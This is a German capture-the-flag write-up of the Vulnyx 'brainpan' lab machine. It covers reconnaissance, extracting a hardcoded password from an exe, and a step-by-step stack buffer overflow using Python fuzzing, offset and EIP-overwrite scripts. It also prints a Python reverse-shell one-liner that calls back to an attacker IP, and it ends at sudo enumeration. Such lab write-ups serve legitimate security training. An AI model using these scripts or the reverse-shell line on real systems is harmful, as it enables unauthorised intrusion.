brainpan - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
gobuster
wget
strings
ghidra
hash-identifier
curl
nc
vi

Inhaltsverzeichnis

Reconnaissance

Als ersten Schritt in der Reconnaissance-Phase nutzen wir ARP-Scan, um aktive Hosts im Netzwerk zu identifizieren. Dies hilft uns, das Zielsystem schnell zu lokalisieren.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.146 08:00:27:fa:8a:f1 PCS Systemtechnik GmbH

Hier sehen wir die MAC-Adresse und den Hersteller des Netzwerkadapters. Dies kann uns weitere Hinweise auf das Betriebssystem oder die Art des Geräts geben.

Um die Hostnamen aufzulösen, fügen wir den gefundenen Host in die /etc/hosts-Datei ein. Dies erleichtert die weitere Arbeit mit dem Zielsystem, da wir den Hostnamen anstelle der IP-Adresse verwenden können.

┌──(root㉿CCat)-[~]
└─# echo "192.168.2.146 brainpan.vln" >> /etc/hosts
┌──(root㉿CCat)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 CCat
192.168.2.146 brainpan.vln

Ein Eintrag in der /etc/hosts Datei erleichtert die Identifizierung des Systems.

Nmap wird verwendet, um die offenen UDP-Ports des Zielsystems zu scannen.

┌──(root㉿CCat)-[~]
└─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-19 23:52 CEST
Nmap scan report for 192.168.2.146
Host is up (0.00030s latency).
Not shown: 994 open|filtered udp ports (no-response)
PRT STATE SERVICE
29256/udp closed unknown
31625/udp closed unknown
38293/udp closed landesk-cba
41702/udp closed unknown
49204/udp closed unknown
62677/udp closed unknown
MAC Address: 08:00:27:FA:8A:F1 (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

Die Nmap-Ergebnisse zeigen, dass die meisten UDP-Ports geschlossen sind.

Nmap wird verwendet, um die offenen TCP-Ports und zugehörigen Dienste auf dem Zielsystem zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)

Dieser Befehl führt einen umfassenden Nmap-Scan durch, um alle offenen Ports und zugehörigen Dienste auf dem Zielsystem zu identifizieren. Die Option -sS führt einen SYN-Scan durch, -sC verwendet Standard-Nmap-Skripte zur Erkennung von Diensten und Schwachstellen, -sV aktiviert die Versionserkennung und -A aktiviert aggressive Scan-Optionen. Die Option -p- scannt alle 65535 Ports, $IP ist eine Variable, die die Ziel-IP-Adresse enthält, -Pn überspringt die Host-Discovery-Phase und --min-rate 5000 erhöht die Scan-Geschwindigkeit. Die Ausgabe wird dann mit grep open gefiltert, um nur die offenen Ports anzuzeigen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-19 23:53 CEST
Nmap scan report for brainpan.vln (192.168.2.146)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _| _| _| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| _|
| _|
| [________________________ WELCME T BRAINPAN _________________________]
|_ ENTER THE PASSWRD
10000/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:FA:8A:F1 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

Die Nmap-Ergebnisse zeigen, dass Port 9999 (abyss?) und Port 10000 (http) geöffnet sind. Auf Port 9999 scheint ein Dienst zu laufen, der nach einem Passwort fragt. Port 10000 hostet einen SimpleHTTPServer.

Web Enumeration

Gobuster wird verwendet, um das Webverzeichnis aufzulisten.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://192.168.2.146:10000" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.146:10000/index.html (Status: 200) [Size: 215]
http://192.168.2.146:10000/bin (Status: 301) [Size: 0] [--> /bin/]

Gobuster hat das Verzeichnis index.html und /bin gefunden

Die Webseite wird manuell geprüft.

http://192.168.2.146:10000/bin/databases
Error response

Error code 404.

Message: File not found.

Error code explanation: 404 = Nothing matches the given URI.
Directory listing for /bin/

brainpan.exe

Initial Access

Die Datei brainpan.exe wird heruntergeladen

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.146:10000/bin/brainpan.exe
--2024-09-20 00:02:52-- http://192.168.2.146:10000/bin/brainpan.exe
Verbindungsaufbau zu 192.168.2.146:10000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 21190 (21K) [application/x-msdos-program]
Wird in brainpan.exe gespeichert.

brainpan.exe 100%[=>] 20,69K --.-KB/s in 0s

2024-09-20 00:02:52 (1,08 GB/s) - brainpan.exe gespeichert [21190/21190]

Die Datei brainpan.exe wurde erfolgreich heruntergeladen.

strings wird verwendet, um alle druckbaren Zeichenketten in der Datei brainpan.exe auszugeben.

┌──(root㉿CCat)-[~]
└─# strings brainpan.exe
!This program cannot be run in DS mode.
.text
`.data
.rdata
@.bss
.idata
[^_]
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
[^_]
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer

shitstorm
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD
>>
ACCESS DENIED
ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
-LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32
w32_sharedptr->size sizeof(W32_EH_SHARED)
../../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
GetAtomNameA (atom, s, sizeof(s)) != 0
AddAtomA
ExitProcess
FindAtomA
GetAtomNameA
SetUnhandledExceptionFilter
__getmainargs
__p__environ
__p__fmode
__set_app_type

Privilege Escalation

Das Programm wird mit Ghidra analysiert.

┌──(root㉿CCat)-[~]
└─# ghidra
Project File Name: brainpan.exe
Last Modified: Fri Sep 20 00:05:08 CEST 2024
Readonly: false
Program Name: brainpan.exe
Language ID: x86:LE:32:default (3.0)
Compiler ID: windows
Processor: x86
Endian: Little
Address Size: 32
Minimum Address: 31170000
Maximum Address: 311753ff
# of Bytes: 7904
# of Memory Blocks: 6
# of Instructions: 0
# of Defined Data: 165
# of Functions: 0
# of Symbols: 380
# of Data Types: 24
# of Data Type Categories: 3
Compiler: gcc:unknown
Created With Ghidra Version: 11.0
Date Created: Fri Sep 20 00:05:07 CEST 2024
Executable Format: Portable Executable (PE)
Executable Location: /root/brainpan.exe
Executable MD5: 5d7f1e332eecbe9fb468d7b6a9f0423e
Executable SHA256: dbf70babb5f29c339a9a20f53ac27e4019d3fff38788f53697d2b4c03187a34e
FSRL: file:///root/brainpan.exe?MD5=5d7f1e332eecbe9fb468d7b6a9f0423e
Preferred Root Namespace Category:
Relocatable: false
SectionAlignment: 4096

Ghidra muss erst alle externen Programme laden.

Loading file:///root/brainpan.exe?MD5=5d7f1e332eecbe9fb468d7b6a9f0423e...
Delay imports detected...

Searching 1 local path for library KERNEL32.DLL...
Searching 8 system paths for library KERNEL32.DLL...
Library not found.

Searching 1 local path for library MSVCRT.DLL...
Searching 8 system paths for library MSVCRT.DLL...
Library not found.

Searching 1 local path for library WS2_32.DLL...
Searching 8 system paths for library WS2_32.DLL...
Library not found.

Linking the External Programs of 'brainpan.exe' to imported libraries...
[KERNEL32.DLL] -> not found in project
[MSVCRT.DLL] -> not found in project
[WS2_32.DLL] -> not found in project

Die Main Methode

void ___main(void)

{
if (_initialized != 0) {
return;
}
_initialized = 1;
___do_global_ctors();
return;
}
┌──(root㉿CCat)-[~]
└─# hash-identifier
#
# __ __ __ __ ______ _____
# /\ \/\ \ /\ \ /\ __ /\__ _\ /\ _ `\
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2
# By Zion3R
# www.Blackploit.com
# Root@Blackploit.com
#
--
HASH: 5d7f1e332eecbe9fb468d7b6a9f0423e

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))

Die Datei wird mit Hash identifier geprüft.

┌──(root㉿CCat)-[~]
└─# curl -Is http://brainpan.vln:9999 -v
* Host brainpan.vln:9999 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.146
* Trying 192.168.2.146:9999...
* Connected to brainpan.vln (192.168.2.146) port 9999
> HEAD / HTTP/1.1
> Host: brainpan.vln:9999
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
* Received HTTP/0.9 when not allowed
* Closing connection
http://brainpan.vln:9999/

_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_|_| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD

> ACCESS DENIED

Hier wird die Seite aufgerufen und nach einem Passwort gefragt

┌──(root㉿CCat)-[~]
└─# nc -vv brainpan.vln 9999
brainpan.vln [192.168.2.146] 9999 (?) open
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_|_| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD

>> password
ACCESS DENIED
sent 9, rcvd 705

Das Passwort wird manuell eingegeben.

>> admin
ACCESS DENIED
sent 6, rcvd 705
┌──(root㉿CCat)-[~]
└─# nc -vv brainpan.vln 9999
brainpan.vln [192.168.2.146] 9999 (?) open
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_|_| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD

>> {{7*7}}
ACCESS DENIED
sent 8, rcvd 705
┌──(root㉿CCat)-[~]
└─# nc -vv brainpan.vln 9999
brainpan.vln [192.168.2.146] 9999 (?) open
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_|_| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD

>> ;id
ACCESS DENIED
sent 4, rcvd 705
┌──(root㉿CCat)-[~]
└─# nc -vv brainpan.vln 9999
brainpan.vln [192.168.2.146] 9999 (?) open
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_|_| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD

>> python3 -c "import pty;pty.spawn('/bin/bash')"
ACCESS DENIED
sent 47, rcvd 705
┌──(root㉿CCat)-[~]
└─# nikto -h http://192.168.2.146:10000
- Nikto v2.5.0

+ Target IP: 192.168.2.146
+ Target Hostname: 192.168.2.146
+ Target Port: 10000
+ Start Time: 2024-09-20 00:18:38 (GMT2)

+ Server: SimpleHTTP/0.6 Python/2.7.3
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+/: The X-Content-Type-ptions header is not set. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Python/2.7.3 appears to be outdated (current is at least 3.9.6).
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2).
+ /bin/: Directory indexing found. See: http://projects.webappsec.org/w/page/13246922/Directory%20Indexing
+ /bin/: This might be interesting.
+ 8917 requests: 8 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-09-20 00:18:54 (GMT2) (16 seconds)

+ 1 host(s) tested
┌──(root㉿CCat)-[~]
└─# nc -vv brainpan.vln 9999
brainpan.vln [192.168.2.146] 9999 (?) open
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

[________________________ WELCME T BRAINPAN _________________________]
ENTER THE PASSWRD

>> shitstorm
ACCESS GRANTED sent 10, rcvd 704

Hier wird das Passwort "shitstorm" eingegeben was wir durch strings ausgelesen haben, die antwort ist "ACCESS GRANTED"

Hier wird eine Anleitung von einer anderen Seite verwendet.

┌──(root㉿CCat)-[~]
└─# vi xx.py
┌──(root㉿CCat)-[~]
└─# ./xx.py
Fuzzing wird mit 100 bytes gestartet...
Fuzzing crash at 200 bytes
Fuzzing crash at 300 bytes
Fuzzing crash at 400 bytes
Fuzzing crash at 500 bytes
Fuzzing crash at 600 bytes
Fuzzing crash at 700 bytes
Fuzzing crash at 800 bytes
Fuzzing crash at 900 bytes
Fuzzing crash at 1000 bytes
Fuzzing crash at 1000 bytes
┌──(root㉿CCat)-[~]
└─# cat brainpan/xx.py
#!/usr/bin/python3
import sys
import socket
from time import sleep

buffer = b"A" * 100
print("Fuzzing wird mit 100 bytes gestartet...")

while True:
try:
sock = socket.socket(socket.AF_INET, socket.SCK_STREAM)
sock.connect(('192.168.2.188', 9999))
payload = b'shitstorm /.:/' + buffer
sock.send(payload)
sock.close()
sleep(1)
buffer += b"A" * 100
print("Fuzzing crash at %s bytes" % str(len(buffer)))
except:
print("Fuzzing crash at %s bytes" % str(len(buffer)))
sys.exit()
┌──(root㉿CCat)-[~]
└─# locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
┌──(root㉿CCat)-[~]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7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Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

while True:
try:
sock = socket.socket(socket.AF_INET, socket.SCK_STREAM)
sock.connect(('192.168.2.188', 9999))
payload = b'shitstorm /.:/' + buffer
sock.send(payload)
sock.close()
except:
print("Error connecting to the server")
sys.exit()
┌──(root㉿CCat)-[~]
└─# chmod +x schritt-2-offset.py
┌──(root㉿CCat)-[~]
└─# ./schritt-2-offset.py
Error connecting to the server
┌──(root㉿CCat)-[~]
└─# locate pattern_offset.rb
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb
┌──(root㉿CCat)-[~]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 41307241
[*] Exact match at offset 510
┌──(root㉿CCat)-[~]
└─# vi schritt-3-EIP_überschreiben.py
┌──(root㉿CCat)-[~]
└─# cat schritt-3-EIP_überschreiben.py
#!/usr/bin/python3
import sys
import socket
from time import sleep

buffer = b"A" * 510 + b"B" * 4

while True:
try:
sock = socket.socket(socket.AF_INET, socket.SCK_STREAM)
sock.connect(('192.168.2.146', 9999))
payload = b'shitstorm /.:/' + buffer
sock.send(payload)
sock.close()
except:
print("Error connecting to the server")
sys.exit()
┌──(root㉿CCat)-[~]
└─# chmod +x schritt-3-EIP_überschreiben.py
┌──(root㉿CCat)-[~]
└─# ./schritt-3-EIP_überschreiben.py
Error connecting to the server
┌──(root㉿CCat)-[~]
└─# ./schritt-3-EIP_überschreiben.py
Error connecting to the server
┌──(root㉿CCat)-[~]
└─# vi schritt-3-EIP_überschreiben.py
┌──(root㉿CCat)-[~]
└─# cat schritt-3-EIP_überschreiben.py
#!/usr/bin/python3
import sys
import socket
from time import sleep

buffer = b"A" * 510 + b"B" * 4

while True:
try:
sock = socket.socket(socket.AF_INET, socket.SCK_STREAM)
sock.connect(('192.168.2.188', 9999))
payload = b'shitstorm /.:/' + buffer
sock.send(payload)
sock.close()
except:
print("Error connecting to the server")
sys.exit()
┌──(root㉿CCat)-[~]
└─# ./schritt-3-EIP_überschreiben.py
Error connecting to the server
┌──(root㉿CCat)-[~]
└─# echo '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' > badcharacter.txt
┌──(root㉿CCat)-[~]
└─# grep bad Bufferoverflow/*
┌──(root㉿CCat)-[~]
└─# echo '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' > badcharacter.txt
┌──(root㉿CCat)-[~]
└─# grep bad Bufferoverflow/ *
grep: Bufferoverflow/: Ist ein Verzeichnis
badchars.py:badchars = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
badchars.py:buffer = prefix + overflow + eipbuf + badchars
grep: brainpan: Ist ein Verzeichnis
grep: Exploits: Ist ein Verzeichnis
grep: ghidra.rep: Ist ein Verzeichnis
grep: go: Ist ein Verzeichnis
grep: Hackingtools: Ist ein Verzeichnis
grep: hydra.restore: Übereinstimmungen in Binärdatei
grep: node_modules: Ist ein Verzeichnis
grep: nuclei-templates: Ist ein Verzeichnis
grep: Postman: Ist ein Verzeichnis
grep: python_windows_hacks: Ist ein Verzeichnis
grep: Scripts-Tools: Ist ein Verzeichnis
grep: shells: Ist ein Verzeichnis
grep: wine: Ist ein Verzeichnis
┌──(root㉿CCat)-[~]
└─# cp Bufferoverflow/
┌──(root㉿CCat)-[~]
└─# ll bad*
-rw-r--r-- 1 root root 256 20. Sep 23:10 badcharacter.txt
-rwxr-x 1 root root 1449 4. Jun 00:08 badchars.py
┌──(root㉿CCat)-[~]
└─# cp badchars.py Bufferoverflow
┌──(root㉿CCat)-[~]
└─# vi badchars.py
┌──(root㉿CCat)-[~]
└─# mv badchars.py schritt-4-badchars.py
┌──(root㉿CCat)-[~]
└─# vi schritt-4-badchars.py
┌──(root㉿CCat)-[~]
└─# ./schritt-4-badchars.py
Exploit wird versucht...
leider ist was schief gelaufen!
┌──(root㉿CCat)-[~]
└─# vi schritt-4-badchars.py
┌──(root㉿CCat)-[~]
└─# ./schritt-4-badchars.py
Exploit wird versucht...
leider ist was schief gelaufen!
┌──(root㉿CCat)-[~]
└─# locate nasm_shell
/usr/bin/msf-nasm_shell
/usr/share/applications/kali-msf-nasm_shell.desktop
/usr/share/icons/hicolor/16x16/apps/kali-msf-nasm_shell.png
/usr/share/icons/hicolor/22x22/apps/kali-msf-nasm_shell.png
/usr/share/icons/hicolor/24x24/apps/kali-msf-nasm_shell.png
/usr/share/icons/hicolor/256x256/apps/kali-msf-nasm_shell.png
/usr/share/icons/hicolor/32x32/apps/kali-msf-nasm_shell.png
/usr/share/icons/hicolor/48x48/apps/kali-msf-nasm_shell.png
/usr/share/icons/hicolor/scalable/apps/kali-msf-nasm_shell.svg
/usr/share/kali-menu/applications/kali-msf-nasm_shell.desktop
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
┌──(root㉿CCat)-[~]
└─# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000 FFE4 jmp esp
nasm > Interrupt: use the 'exit' command to quit
┌──(root㉿CCat)-[~]
└─# vi schritt-5-jmp_ESP.py
┌──(root㉿CCat)-[~]
└─# chmod +x schritt-5-jmp_ESP.py
┌──(root㉿CCat)-[~]
└─# vi schritt-6-exploit.py
┌──(root㉿CCat)-[~]
└─# chmod +x schritt-6-exploit.py
┌──(root㉿CCat)-[~]
└─# ./schritt-6-exploit.py
Exploit wird abgefeuert...
revshell durch exploit
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.146] 42876
CMD Version 1.4.1

Z:\home\puck>
Z:\home\puck>type checksrv.sh
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep brainpan.exe | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
killall wineserver
killall winedevice.exe
fi
/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
fi
cd /home/puck/web
/usr/bin/python -m SimpleHTTPServer 10000
fi
Z:\home\puck>/bin/sh
Z:\home\puck>sh: turning off NDELAY mode
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
which python
/usr/bin/python
Z:\home\puck>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SCK_STREAM);s.connect(("192.168.2.199",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util network
2: eth0: mtu 1500 qdisc pfifo_fast state UNKNWN qlen 1000
link/ether 08:00:27:37:5f:66 brd ff:ff:ff:ff:ff:ff
inet 192.168.2.129/24 brd 192.168.2.255 scope global eth0
inet6 2003:d4:c713:4e16:1986:93a5:76ba:36c7/64 scope global temporary dynamic
valid_lft 603891sec preferred_lft 84891sec
inet6 2003:d4:c713:4e16:a00:27ff:fe37:5f66/64 scope global dynamic
valid_lft 604778sec preferred_lft 86378sec
